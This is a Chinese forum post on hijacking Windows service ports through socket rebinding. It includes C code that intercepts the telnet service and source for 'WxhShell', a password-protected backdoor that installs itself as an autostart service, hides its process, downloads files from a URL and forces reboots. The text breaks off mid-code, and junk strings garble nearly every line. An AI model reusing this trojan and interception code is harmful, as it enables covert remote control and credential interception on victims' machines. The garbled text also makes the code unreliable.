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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]31$KBC  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,Oi^ySn  
@^wpAQfd4  
  saddr.sin_family = AF_INET; oWD)+5. ]  
N*1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); K`gc 4:A  
Qu}N:P9l?X  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #NJ<[Gew  
t&pGQ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 q2Rf@nt  
I7bi@t  
  这意味着什么?意味着可以进行如下的攻击: )d_U)b7i  
@Z=wE3T@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^N{X "  
cyb(\ fsC  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]+lF=kkc %  
;*`_#Rn#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hg#c[sZL  
w 06gY  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  t[j9R#02?  
=SL^>HS.fo  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 HqRCjD  
[k ~C+FI  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zi_[ V@Es/  
[ )k2=67  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VwC4QK,d;  
 0/*X=5  
  #include wKLN:aRF2  
  #include (ic@3:xR  
  #include %\l0-RA@<  
  #include    m>O2t-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =ty2_6&>  
  int main() aLHrl6"  
  { _]_LF[  
  WORD wVersionRequested; YZ{;%&rB  
  DWORD ret; c*jr5 Y  
  WSADATA wsaData; {~"Em'}J  
  BOOL val; W7T" d4  
  SOCKADDR_IN saddr; '1lx{U zD  
  SOCKADDR_IN scaddr; 0pCDE s  
  int err; r=|vad$  
  SOCKET s; S~} +ypV  
  SOCKET sc; fW[_+r]  
  int caddsize; W -3w7^  
  HANDLE mt; /:^tc/5U ]  
  DWORD tid;   2t.fD@  
  wVersionRequested = MAKEWORD( 2, 2 ); 6XZN>#  
  err = WSAStartup( wVersionRequested, &wsaData ); eNivlJ,K|@  
  if ( err != 0 ) { hPS/CgLq  
  printf("error!WSAStartup failed!\n"); /T{mS7EpYc  
  return -1; np= J:v4  
  } w zdxw$E  
  saddr.sin_family = AF_INET; 4bWfx _0W  
   k:W=5{[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 z[%[bs2{  
DU(X,hDBF  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [10$a(g\x  
  saddr.sin_port = htons(23); PaA6Z":  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;,R[]B01u  
  { <'VA=orD  
  printf("error!socket failed!\n"); &(GopWR`e  
  return -1; "rL"K  
  }  $.=5e3  
  val = TRUE; Xk;Uk[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 tYF$#Nor#k  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) bW} b<(y  
  { IwOfZuS  
  printf("error!setsockopt failed!\n"); |YJ$c @  
  return -1; 7ucx6J]c  
  } 6 bYC  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3{I=.mUUm  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 F%9e@{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 l A 0-?k  
|)~Ex 9%ev  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Au~+Zz|mQ  
  { Jx)~kK  
  ret=GetLastError(); N;e}dwh&  
  printf("error!bind failed!\n"); '3IkPy1Uz  
  return -1; +?ws !LgF  
  } 5+o 2 T]  
  listen(s,2); B!$V\Gs  
  while(1) xn0s`I[  
  { 721{Ga4~S  
  caddsize = sizeof(scaddr); p`shY yE  
  //接受连接请求 qQwJJjf  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +d|:s  
  if(sc!=INVALID_SOCKET) vsOdp:Yp9!  
  { `M towXj  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {Q}!NkF 1  
  if(mt==NULL) i7Y s_8A"9  
  { y8Ei=[  
  printf("Thread Creat Failed!\n"); DKe6?PG  
  break; r3*+8 D~a_  
  } =ip~J<sw&  
  } k^L#,:\&V  
  CloseHandle(mt); ,+swH;=7#r  
  } WsG"x>1n  
  closesocket(s); 6{Krw \0  
  WSACleanup(); T)$ 6H}[c  
  return 0; FY_avW  
  }   }[XB]Xf  
  DWORD WINAPI ClientThread(LPVOID lpParam) v9X7-GJ~  
  { 5i}CzA96  
  SOCKET ss = (SOCKET)lpParam; 4i ~eTb  
  SOCKET sc; [u!p-  
  unsigned char buf[4096]; ]{q- Y<{"  
  SOCKADDR_IN saddr; c+)36/; X  
  long num; E7d~#  
  DWORD val; D;1 6}D  
  DWORD ret; (9WL+S  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ox i a}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >x|A7iWn{,  
  saddr.sin_family = AF_INET; =H.<"7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Y&1!Z*OL;  
  saddr.sin_port = htons(23); yH0yO*R Z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k'WS"<-  
  { Xy3g(x]  
  printf("error!socket failed!\n"); xr7-[)3Q$  
  return -1; XC+F! R  
  } |g: '')>[  
  val = 100; r-1yJ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pUCEYR  
  { /Gh x2B  
  ret = GetLastError(); Eb4< 26A  
  return -1; @SF" )j|  
  } O|^6UH  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [7SI<xkv  
  { .5Z,SGBf  
  ret = GetLastError(); OW[/%U>  
  return -1; O;&yA<  
  } #V(Hk )  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Muc*?wB`  
  { Wj  
  printf("error!socket connect failed!\n"); 7Dx .;  
  closesocket(sc); <Vr] 2mw  
  closesocket(ss); ;k63RNT,M&  
  return -1; pO7{3%  
  } W:;`  
  while(1) am$-sh72  
  { EkgN6S`}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !,-qn)b  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )n3bi QL_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~; O= 7  
  num = recv(ss,buf,4096,0); 4o)\DB?!  
  if(num>0) A]~iuUHm  
  send(sc,buf,num,0); [u9S+:7"  
  else if(num==0) 0F;(_2V-  
  break; ?XTg%U  
  num = recv(sc,buf,4096,0); 5  a*'N~  
  if(num>0) *{D:1S  
  send(ss,buf,num,0); pFv[z':&Q  
  else if(num==0) ][>M<J  
  break; Q+%m+ /Zq  
  } /iJcy:J  
  closesocket(ss); >aanLLO  
  closesocket(sc); U~zN*2-  
  return 0 ; iYfLo">  
  } `$x#_-Hn  
,*}g r  
^2?O+ =,F  
========================================================== X m:gD6;9  
Ll E_{||h  
下边附上一个代码,,WXhSHELL ?\p%Mx?   
Zn*CJNB  
========================================================== {]_{BcK+  
B6!<@* BI  
#include "stdafx.h" &fNE9peQFa  
'>WuukC  
#include <stdio.h> ]2s Zu7  
#include <string.h> ([XyW{=h!  
#include <windows.h> BO\`m%8md  
#include <winsock2.h> s? \9i6  
#include <winsvc.h> 6Bq2?;5  
#include <urlmon.h> )b2E/G@X&  
@.]K6qC  
#pragma comment (lib, "Ws2_32.lib") ws(}K+y_  
#pragma comment (lib, "urlmon.lib") \S@=zII_  
eRqexqO!  
#define MAX_USER   100 // 最大客户端连接数 >D^7v(&  
#define BUF_SOCK   200 // sock buffer I8oKa$RF  
#define KEY_BUFF   255 // 输入 buffer j]F3[gpc  
E?5B>Jer#  
#define REBOOT     0   // 重启 ;NVTn<Uj  
#define SHUTDOWN   1   // 关机 wT AEJ{p  
xp;8p94   
#define DEF_PORT   5000 // 监听端口 w#bbm'j7r  
c68$pgG  
#define REG_LEN     16   // 注册表键长度 ]=XL9MI  
#define SVC_LEN     80   // NT服务名长度 WMz|FFKVY  
B46H@]d#7K  
// 从dll定义API X1PlW8pd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]X;*\-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n_ NG~ /x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2i'-lM=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `0vy+T5  
73Zs/  
// wxhshell配置信息 ?|rw=%  
struct WSCFG { .?)oiPW#  
  int ws_port;         // 监听端口 qf&{O:,Z  
  char ws_passstr[REG_LEN]; // 口令 Evgq}3  
  int ws_autoins;       // 安装标记, 1=yes 0=no r\- k/0  
  char ws_regname[REG_LEN]; // 注册表键名 #Lt+6sa]2@  
  char ws_svcname[REG_LEN]; // 服务名 1UWgOCc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $W]guG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H4",r5qw:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6D]G*gwk[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u\Q**m2XP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |y=F ( 6Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gG>^h1_o~  
e~[z]GLO%  
}; otVdx&%]  
n& &U9sf?  
// default Wxhshell configuration X(q=,^Mp  
struct WSCFG wscfg={DEF_PORT, hf5SpwxLiH  
    "xuhuanlingzhe", "r3s'\  
    1, AsF`A"Cdw<  
    "Wxhshell", C8zeqS^N  
    "Wxhshell", D??/=`|8  
            "WxhShell Service", Gf.o{  
    "Wrsky Windows CmdShell Service", T1[ZrY'0  
    "Please Input Your Password: ", V!tBipX%  
  1, ``CADiM:S  
  "http://www.wrsky.com/wxhshell.exe", \>azY g  
  "Wxhshell.exe" [`dipLkr  
    }; UHHKI)(  
LZ:\V)5+  
// 消息定义模块 .Q@'Ob`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (19<8a9G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;itg>\ p3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bd;f@)X  
char *msg_ws_ext="\n\rExit."; }-iOYSn  
char *msg_ws_end="\n\rQuit."; mSeN M  
char *msg_ws_boot="\n\rReboot..."; 8nR,GW\  
char *msg_ws_poff="\n\rShutdown..."; wajhFBJ  
char *msg_ws_down="\n\rSave to "; '" yl>"  
z5w|+9U  
char *msg_ws_err="\n\rErr!"; cNv c pv  
char *msg_ws_ok="\n\rOK!"; ,KaWP  
6%1o<{(%f  
char ExeFile[MAX_PATH]; d69VgLg  
int nUser = 0; Wb xksh:)Q  
HANDLE handles[MAX_USER]; l))IO`s=_  
int OsIsNt; T0jJp7O  
NDG Bvb  
SERVICE_STATUS       serviceStatus; c>.Xc[H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pBLO  
~Wv?p4  
// 函数声明 3/05ee;|  
int Install(void); [hbIv   
int Uninstall(void); pQ8+T|0x  
int DownloadFile(char *sURL, SOCKET wsh); GrC")Z|3u  
int Boot(int flag); 7C^ nk z  
void HideProc(void); OSk9Eb4ld  
int GetOsVer(void); >^N :A  
int Wxhshell(SOCKET wsl); `;@4f |N9  
void TalkWithClient(void *cs); PD4E& k  
int CmdShell(SOCKET sock); JnJz{(c  
int StartFromService(void); G> >_G<x  
int StartWxhshell(LPSTR lpCmdLine); t68RWzqiG[  
&.B6P|N'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?Pc 3*.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #C mBgxg+M  
:B~c>:  
// 数据结构和表定义 2=EKAg=S  
SERVICE_TABLE_ENTRY DispatchTable[] = ]+P &Y:   
{ +6atbbe}   
{wscfg.ws_svcname, NTServiceMain}, 6Tnzg`0I  
{NULL, NULL} UtN>6$u  
}; c2/HY8ttRD  
H=C;g)R  
// 自我安装 67?5Cv  
int Install(void) KHtY +93  
{ *2F }e4v  
  char svExeFile[MAX_PATH]; g=Di2j{A  
  HKEY key; ~JpUO~i/  
  strcpy(svExeFile,ExeFile); 5>Q)8` @E  
@@jdF-Utj;  
// 如果是win9x系统,修改注册表设为自启动 9K!='u`  
if(!OsIsNt) { (6nw8vQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T!bu}KO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [eRMlSXA  
  RegCloseKey(key); nmr>Aj8[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xFZq6si?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tUQ)q  
  RegCloseKey(key); 7_,gAE:kG  
  return 0; c+=&5=i[3  
    } +zsya4r  
  } 'Nh^SbD+_|  
} ]_s]Q_+E  
else { jPfoI-  
kN)ev?pQ[  
// 如果是NT以上系统,安装为系统服务 &^.'g{\Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P*>V6SK>b  
if (schSCManager!=0) mX89^  
{ 4%TC2Laii  
  SC_HANDLE schService = CreateService `;;!>rm  
  ( {/ta1&xyG  
  schSCManager, w8qI7/  
  wscfg.ws_svcname, f@0`,  
  wscfg.ws_svcdisp, S4w/ kml3  
  SERVICE_ALL_ACCESS, #_d%hr~d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H|Ems}b  
  SERVICE_AUTO_START, o&]qjFo\m  
  SERVICE_ERROR_NORMAL, wrbDbp1L  
  svExeFile, Gsb]e  
  NULL, &kG<LGXP#  
  NULL, iQKfx#kt  
  NULL, DxlX-  
  NULL, _3hEYeh  
  NULL AF@C9s  
  ); DcOLK\  
  if (schService!=0) <~d N23)  
  { [Mi~4b  
  CloseServiceHandle(schService); <x/&Ml+  
  CloseServiceHandle(schSCManager); 5GKz@as8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4T:ZEvdzf  
  strcat(svExeFile,wscfg.ws_svcname); /=N`P &R#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c&Dy{B!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /vu7;xVG  
  RegCloseKey(key); PF.HYtZqK  
  return 0; ~L2Fo~fw  
    } 1W U-gQki!  
  } B-RaAiE@  
  CloseServiceHandle(schSCManager); W/ERqVZR]  
} Px<;-H`  
} hYLu   
M-n +3E9  
return 1; 1peN@Yk2W  
} % n^]1R#  
*`kh}  
// 自我卸载 K$4Ky&89  
int Uninstall(void) R7#B_^ $  
{ y0 xte&  
  HKEY key; u!O)\m-  
JH 8^ZP:d'  
if(!OsIsNt) { @ Fu|et  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dwRJ0D]&  
  RegDeleteValue(key,wscfg.ws_regname); j*GYYEY  
  RegCloseKey(key); =dPrG=A   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1c]GS&(RP  
  RegDeleteValue(key,wscfg.ws_regname); s\@!J.Da  
  RegCloseKey(key); =7a9~&|  
  return 0; N*eZ4s'  
  } p?5zwdX+`  
} 0L'h5i>H)  
} T5ol2  
else { kxh $R>  
&T{+B:*v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]`LMy t0  
if (schSCManager!=0) /)j:Y:5  
{ u-D%: lz85  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zhS\|tI  
  if (schService!=0) Gx!Y 4Q}-  
  { 6]M(ElV1H  
  if(DeleteService(schService)!=0) { +5voAx!  
  CloseServiceHandle(schService); v81<K*w`P  
  CloseServiceHandle(schSCManager); ?e0ljx;  
  return 0; Mp}U>+8  
  } _G@)Bj^*  
  CloseServiceHandle(schService); J%{>I   
  } *&XOzaVU  
  CloseServiceHandle(schSCManager); n}EH{k9#  
} arm26YA-,  
} T< D&%)  
G@s rQum(  
return 1; 09/Mg  
} `ml  
}get e'I  
// 从指定url下载文件 ,XU<2jv]  
int DownloadFile(char *sURL, SOCKET wsh) Dc2H<=];  
{ ka0MuQ M  
  HRESULT hr; *|Tx4Qt  
char seps[]= "/"; OQ&l/|{O0?  
char *token; 1N,</<"  
char *file; ]V^ >aUlj  
char myURL[MAX_PATH]; `p#tx.o  
char myFILE[MAX_PATH]; 3s;^p,9 Y  
n&1q*  
strcpy(myURL,sURL); B 1je Ik,  
  token=strtok(myURL,seps); 7_HFQT1.N  
  while(token!=NULL) Q WcQtM  
  { GCZx-zD~>  
    file=token; xa8;"Y~"bg  
  token=strtok(NULL,seps); Kl_(4kQE_  
  } LGB}:;$AL  
jl9hFubwW  
GetCurrentDirectory(MAX_PATH,myFILE); {.eo?dQ  
strcat(myFILE, "\\"); T5|e\<l  
strcat(myFILE, file); bI+/0X x  
  send(wsh,myFILE,strlen(myFILE),0); `3g5n:"g\  
send(wsh,"...",3,0); 7cB/G:{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZmI0|r}QbY  
  if(hr==S_OK) Hsn'"  
return 0; qA0PGo  
else PzOnS   
return 1; 1J([*)  
SSxp!E'  
} Me79:+d  
zzK<>@c  
// 系统电源模块 ,?P<=M  
int Boot(int flag) A3)"+`&PUl  
{ eSQkW  
  HANDLE hToken; p4V*%A&w  
  TOKEN_PRIVILEGES tkp; q #mBNe62p  
Om^(CAp  
  if(OsIsNt) { aq)g&.dw?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9#TD1B/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); DQ(0:r  
    tkp.PrivilegeCount = 1; `;Ho<26  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v4<W57oH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A 0v=7 ]  
if(flag==REBOOT) { To}eJ$8*5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7HkFDI()1  
  return 0; :.4O Hp1  
} ^3[_4av  
else { BBM[Fy37!}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !NH(EWER  
  return 0; cI P.5)Ca  
} EjL]#,QR  
  } 1aQm r=,  
  else { ~5'7u-;  
if(flag==REBOOT) { vn+XY =Qnr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~n- Px)  
  return 0; $m;`O_-T  
} T? Kh '  
else { {;DAKWm@T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jB8Q% {%  
  return 0; ]f#s`.A~  
} x(._?5  
}  Z/%FQ  
@QV0l]H0+  
return 1; arDl2T,igF  
} @Wc5r#  
ep=r7Mft  
// win9x进程隐藏模块 u Jqv@GFv  
void HideProc(void) Ux7LN @4og  
{ Iz1x|EQ  
iP0m1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tGgxID  
  if ( hKernel != NULL ) TY)QE  
  { UxL*I[z5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qS#G7~ur>y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uR ?W|a  
    FreeLibrary(hKernel); (iX8YP$%  
  } :D*U4< /u  
(da`aRVDp  
return; C< 9x\JY%  
} ZU73UL  
Ea&|kO|  
// 获取操作系统版本 m,lZy#02s3  
int GetOsVer(void) #7 3pryXV  
{ SI=$s>1  
  OSVERSIONINFO winfo; wAKHD*M)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); moM? aYm  
  GetVersionEx(&winfo); xvV";o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i)?7+<X  
  return 1; k ucbI_  
  else j(=w4Sd_W  
  return 0; (-gomn  
} `gX|q3K\s  
n9'3~qVZ  
// 客户端句柄模块 |}z)>E  
int Wxhshell(SOCKET wsl) _~z oMdT!  
{ xU.1GI%UPu  
  SOCKET wsh; U?UU] >Q  
  struct sockaddr_in client; e9o\qEm   
  DWORD myID; ^ Oh  
\rS*\g:i  
  while(nUser<MAX_USER) PMfW;%I.  
{ BpZ~6WtBq  
  int nSize=sizeof(client); 1,-C*T}nR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N&HI)X2&  
  if(wsh==INVALID_SOCKET) return 1; %L=e%E=m  
cUY-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lU{)%4e`  
if(handles[nUser]==0) Ymz/:  
  closesocket(wsh); GbSCk}>  
else o-\h;aQJ  
  nUser++; j'D%eQI,V  
  } "`>6M&`U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \O5L#dc#  
#AJW-+1g.=  
  return 0; -c_l nK  
} 2][9Wp  
fx;rMGa  
// 关闭 socket e9{ii2M  
void CloseIt(SOCKET wsh) TxJk.c  
{ }9^:(ty2A  
closesocket(wsh); |p:4s"NT  
nUser--; b j&!$')  
ExitThread(0); 0t7N yKU  
} &;DCN  
JP>EW&M  
// 客户端请求句柄 &W45.2  
void TalkWithClient(void *cs) 90vWqL!  
{ `=(<!nXJx  
}>{R<[I!G  
  SOCKET wsh=(SOCKET)cs; D_l$"35?  
  char pwd[SVC_LEN]; k=s^-Eiu  
  char cmd[KEY_BUFF]; y!b"Cj  
char chr[1]; <f>77vh0  
int i,j; {8m&Z36E  
 "9;  
  while (nUser < MAX_USER) { d:'{h"M6  
 .\oz  
if(wscfg.ws_passstr) {  zK6w0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #(tdJ<HvC|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fl)nmwO c  
  //ZeroMemory(pwd,KEY_BUFF); Vh0cac|X  
      i=0; y3efie {J  
  while(i<SVC_LEN) { OC&BJNOi  
b$@I(.X:  
  // 设置超时 :Racu;xf  
  fd_set FdRead; #._JB-,'  
  struct timeval TimeOut; - |p eD L  
  FD_ZERO(&FdRead); &b (*  
  FD_SET(wsh,&FdRead); Uh.swBC n  
  TimeOut.tv_sec=8; PJK:LZw  
  TimeOut.tv_usec=0; vv)q&,<c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vAM1|,U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Xm,fyk>  
l;q]z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H^'%$F?Ss  
  pwd=chr[0]; Z` kVyuQ  
  if(chr[0]==0xd || chr[0]==0xa) { UlWmf{1%]?  
  pwd=0; -7!L]BcZ.  
  break; ! >F70  
  } ?GX@&_  
  i++; {`):X_$T  
    } huZ5?'/Fg  
}k.yLcXM  
  // 如果是非法用户,关闭 socket  L]l/w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oLkzLJ  
} f%PLR9Nh5@  
3^P;mQ$p1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !n;3jAl&$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f@`|2wG  
R?1Z[N  
while(1) { b"\lF1Nf&o  
p"P+8"`  
  ZeroMemory(cmd,KEY_BUFF); jOCV)V9}  
a( ~X  
      // 自动支持客户端 telnet标准   nP[Z6h  
  j=0; #6a!OQj  
  while(j<KEY_BUFF) { Zb_A(mnzh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ep(xlHTv  
  cmd[j]=chr[0]; ekY)?$v3  
  if(chr[0]==0xa || chr[0]==0xd) { [4xZy5V  
  cmd[j]=0; .,6o):  
  break; }8AH/  
  } n;Mk\*Cg  
  j++; TfJ*G6\7e#  
    } +UWv}|  
aoz+Th3  
  // 下载文件 [*u\S  
  if(strstr(cmd,"http://")) { :ek^M (  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <r <{4\%}  
  if(DownloadFile(cmd,wsh)) 8g:VfzaHu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8D>5(Dg-  
  else ,FP0n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %h(%M'm?  
  } IG|u;PH<  
  else { W\-`}{B_/  
fn/?I \  
    switch(cmd[0]) { KC&XOI %  
  02J(*_o  
  // 帮助 rRe^7xGe7  
  case '?': { tBkgn3w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &0f/F:M  
    break; 4pMp@ b  
  } O*/%z r  
  // 安装 ?7pn%_S  
  case 'i': { 8 pf]M&  
    if(Install()) wEq&O|Vj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )?OdD7gd  
    else cQxUEY('+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l?IeZisX  
    break; O13]H"O_  
    } a e-tAA[1Y  
  // 卸载 BPkL3Ev1V  
  case 'r': { LmyaC2  
    if(Uninstall()) fe<7D\Sp@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6:S, {@G  
    else i `f!)1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &,8Qe;  
    break; b3_P??yp  
    } PX?%}~ v  
  // 显示 wxhshell 所在路径 '\d ldg#P  
  case 'p': { $bKXP(  
    char svExeFile[MAX_PATH]; &c "!Y)%G  
    strcpy(svExeFile,"\n\r"); qZ E3T:S  
      strcat(svExeFile,ExeFile); qLX<[UL  
        send(wsh,svExeFile,strlen(svExeFile),0); "0nsYE  
    break; <sm"3qs"_  
    } SJX9oVJeZ  
  // 重启 @1xVWSF  
  case 'b': { _#v"sGmN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &-o5lrq  
    if(Boot(REBOOT)) BI%~0 Gj8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )N~ p4kp  
    else { V:j^!*  
    closesocket(wsh); 2<OU)rVE4  
    ExitThread(0); ,6MJW#~]  
    } oV['%Z'  
    break; K%L6UQ;  
    } ^Os }sJ*5S  
  // 关机 ?(R#  
  case 'd': { -0q|AB<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !pRu?5  
    if(Boot(SHUTDOWN)) NTX0vQG  
